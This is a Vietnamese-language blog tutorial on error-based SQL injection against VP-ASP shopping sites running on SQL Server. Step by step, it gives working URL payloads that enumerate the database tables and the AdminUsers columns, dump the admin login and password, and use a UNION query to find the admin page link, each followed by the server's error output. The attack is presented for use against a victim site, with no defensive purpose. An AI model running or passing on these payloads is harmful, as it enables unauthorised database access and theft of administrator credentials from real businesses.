Bước 1 : tìm site lỗi
Ví dụ site này:http://www.victimtim.com...ping/sh...cts.asp?id=153'
Cũng thêm vào dấu phẩy ( ' ) để check lỗi
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''
./shopping/shopdisplayproducts.asp, line 93
Oh có lỗi rồi, giờ sao đây
Cái này anh em biết khai thác chứ:
Lấy table đầu tiên của CSDL:
%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
http://www.victimtim.com/shopping/sh...)--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data typeint
./shopping/shopdisplayproducts.asp, line 93
Bước 2 chắc các bạn biết, chỉ là lấy table thui.
Sau đây là code lấy các table khác ngoài table đầu tiên, mình chỉ việc kiếm table nào chứa users của admin là okie.
%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq')))--sp_password
%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq','coupons','customerprices','customers') ))--sp_password
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20table_name%20from%20informa tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons','customerprices','customer s')))--sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminUsers' to a column of datatype int
./shopping/shopdisplayproducts.asp, line 93
Tới đây là đã quá rõ, cái mình tìm chính là table này : 'AdminUsers' vì sao vậy vì nó chứa user và pass chắc.
Thui cứ khai thác thử.
Ta lấy column của table 'AdminUsers'
Dùng code sau:
%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers')))--sp_password
Khi thêm code xong sẽ như thế này:
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')))--sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminID' to a column of data typeint
./shopping/shopdisplayproducts.asp, line 93
Và bước tiếp theo:
Tìm các columns khác trong table 'AdminUsers' nhưng khác 'AdminID'
%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('AdminID')))--sp_password
Khi thêm code xong sẽ như thế này:
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' )))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login' to a column of data type int
./shopping/shopdisplayproducts.asp, line 93
Và các bạn cứ tiếp tục thêm table vào:
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login')))--sp_password
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login','pwd')))--sp_password
Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass.
Code dùng để exploit 2 columns 'login'và 'pwd' để lấy user và pass trong table 'AdminUsers'
%20and 1=convert(int,(select top 1 login%2b'/'%2bpwd from AdminUsers))--sp_password
Khi thêm code xong sẽ như thế này:
http://www.victimtim.com...pping/sh...%201=convert(i nt,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin/admin' to a column of datatype int
./shopping/shopdisplayproducts.asp, line 93
user: admin
pass: admin
Bác admin của shop này không biết có bị gì không nữa
Sử dụng cách này các bạn có thể lấy được tấc cả các table trong batabase của shop. Từ đây lại hình thành một cách mới để tìm link admin.
Mặc dù nói thì dễ vậy nhưng làm thì cần một thứ nữa, đó chính là lỗi file shopexd.asp ^^ . Nếu bạn vào trang này bị lỗi thì có hy vọng lấy được link admin.
Dùng đoạn lệnh gộp sau đây:
http://www.victimtim.com/shoping/shopexd.asp?id=-1 union select table1,fieldvalue,table2,table3,table4,table5,tabl e6,table7,table8,table9,table10,table11,table12,ta ble13,configuration where fieldname='xadminpage' and catalogid=153
Sở dĩ ta phải cho id=-1 để ngắt lệnh SQL thứ nhất khi hợp nhất thì nó sẽ thực hiện lệnh SQL thứ hai.
Thực hiện lệnh này xong ta sẽ có link admin ngay ^\^
Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau
http://www.victimtim.com...ing/sho...es.asp?id=1and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password
http://www.victimtim.com...ing/sho...es.asp?id=1and 1=convert(int,(select top 1 fieldvalue from configuration where fieldname='xadminpage'))--sp_password
Đối với cat=?' các bạn làm tương tự ( vận dụng sáng tạo từ bài viết trên ^\^)
Gunakan Google Chrome Untuk Mendapatkan Tampilan Terbaik Blog Ini ( ^_^ )